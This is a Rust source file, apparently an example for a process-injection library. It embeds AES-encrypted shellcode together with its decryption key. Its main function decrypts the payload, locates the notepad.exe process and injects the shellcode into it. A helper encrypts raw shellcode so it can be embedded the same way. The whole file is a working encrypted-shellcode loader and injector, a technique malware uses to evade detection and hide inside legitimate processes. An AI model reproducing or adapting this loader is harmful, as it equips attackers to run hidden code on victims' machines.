aes.rs

use cyphres::aes::{AesCypher, AesCypherExt};
use needle::{cypher::EncryptedPayload, find_process, inject, Shellcode};

const SHELL_CODE: &[u8] = &[
    0x77, 0xe7, 0xb8, 0x57, 0xbb, 0x7f, 0x70, 0x3d, 0xcb, 0xa0, 0xc8, 0xbe, 0x56, 0xad, 0x58, 0xe0,
    0x8f, 0x09, 0x5d, 0xf8, 0x34, 0x96, 0x8d, 0x32, 0xd9, 0xa9, 0x69, 0x67, 0xed, 0xfd, 0x7a, 0xb3,
    0xdd, 0x10, 0x04, 0x56, 0xcc, 0x51, 0xf3, 0x1a, 0x89, 0x9b, 0x00, 0xf9, 0x00, 0x3f, 0xed, 0x37,
    0x18, 0x54, 0x51, 0x04, 0x6e, 0xf8, 0x2c, 0xfa, 0xbd, 0xd0, 0x20, 0x6f, 0x8b, 0x17, 0x07, 0xf1,
    0x1d, 0xc6, 0x09, 0xd8, 0x0f, 0x1e, 0xc7, 0x86, 0xcd, 0x81, 0xaf, 0xe4, 0x2c, 0xd3, 0x53, 0x6f,
    0x65, 0x41, 0x53, 0x8d, 0xd4, 0x87, 0xf1, 0x93, 0x0b, 0xd5, 0xc7, 0xce, 0x9e, 0xd4, 0x16, 0x0d,
    0x83, 0x58, 0xf0, 0x76, 0x4c, 0x51, 0xbe, 0xf1, 0xc2, 0xc5, 0x54, 0xf3, 0x66, 0x8d, 0x4d, 0x08,
    0xca, 0x5a, 0xb2, 0xe6, 0x93, 0xb3, 0x1c, 0x9a, 0x52, 0x1c, 0x32, 0xbb, 0x6b, 0x02, 0x73, 0xd7,
    0xa5, 0xa1, 0x3a, 0x9e, 0xbd, 0x93, 0x82, 0xa2, 0x13, 0x67, 0xdb, 0xa1, 0x00, 0x25, 0xd3, 0x14,
    0x18, 0x25, 0xba, 0xcd, 0xf8, 0x41, 0x15, 0x5f, 0xf9, 0xfb, 0x74, 0xae, 0xbd, 0xf1, 0xf5, 0xe3,
    0xb1, 0xae, 0x04, 0xf7, 0x4a, 0xdf, 0x37, 0x3c, 0x68, 0x74, 0x58, 0xe1, 0x9d, 0x3e, 0x27, 0x51,
    0x9e, 0x78, 0xdb, 0x98, 0x3f, 0x9c, 0xea, 0xae, 0x7d, 0x1c, 0xa6, 0xa9, 0x90, 0x37, 0x30, 0xe3,
    0x34, 0x49, 0xb4, 0x63, 0xe3, 0x04, 0x51, 0xf4, 0xed, 0x81, 0xe5, 0x6e, 0xa6, 0xe7, 0x58, 0xb0,
    0x63, 0xbb, 0x65, 0x75, 0xd4, 0x72, 0x35, 0xcf, 0xea, 0xb0, 0xb5, 0xcf, 0x6f, 0x5b, 0x27, 0x13,
    0x61, 0xf8, 0x28, 0x7e, 0xd4, 0x32, 0x8f, 0x22, 0xc1, 0xa5, 0x1c, 0xea, 0x47, 0x51, 0x34, 0x2e,
    0x6f, 0x29, 0xb1, 0xf0, 0x4c, 0xfb, 0x96, 0x98, 0xb9, 0x14, 0x60, 0x4e, 0x3a, 0xdb, 0x20, 0xfd,
    0x47, 0x53, 0xe0, 0xc8, 0x24, 0x01, 0xc2, 0x3b, 0x16, 0x33, 0xde, 0x92, 0xc3, 0x69, 0xcb, 0x58,
    0xc5, 0x62, 0xc4, 0xb6, 0xa5, 0xd1, 0x99, 0x1f, 0x7e, 0xfb, 0xb5, 0x51, 0xcb, 0xdc, 0xea, 0xd5,
    0x39, 0xdb, 0x73, 0x93, 0x48, 0x23, 0x59, 0x82, 0xab, 0x39, 0xe5, 0x28, 0x45, 0x6b, 0x7a, 0x89,
];
const KEY: [u8; 32] = [
    0xb2, 0xa3, 0xca, 0x01, 0x0b, 0xda, 0x8b, 0xeb, 0x9f, 0x39, 0xe2, 0x33, 0x79, 0x84, 0x5a, 0x7a,
    0x69, 0xd5, 0x92, 0x53, 0xee, 0xb3, 0xce, 0xd9, 0x10, 0x07, 0x6e, 0xb2, 0x6a, 0x97, 0x4f, 0xff,
];

fn main() {
    let payload = AesCypher::from(SHELL_CODE.to_vec()).decrypt(&KEY);

    let process = find_process("notepad.exe").expect("Target process not found");
    if let Err(e) = inject(process, payload) {
        println!("Could not inject payload: {}", e);
    }
}

#[allow(dead_code)]
fn generate_payload(shellcode: Shellcode) {
    let payload = shellcode.into_raw().aes_encrypt(&KEY);
    println!("Encrypted shellcode: {:#04x?}", payload);
}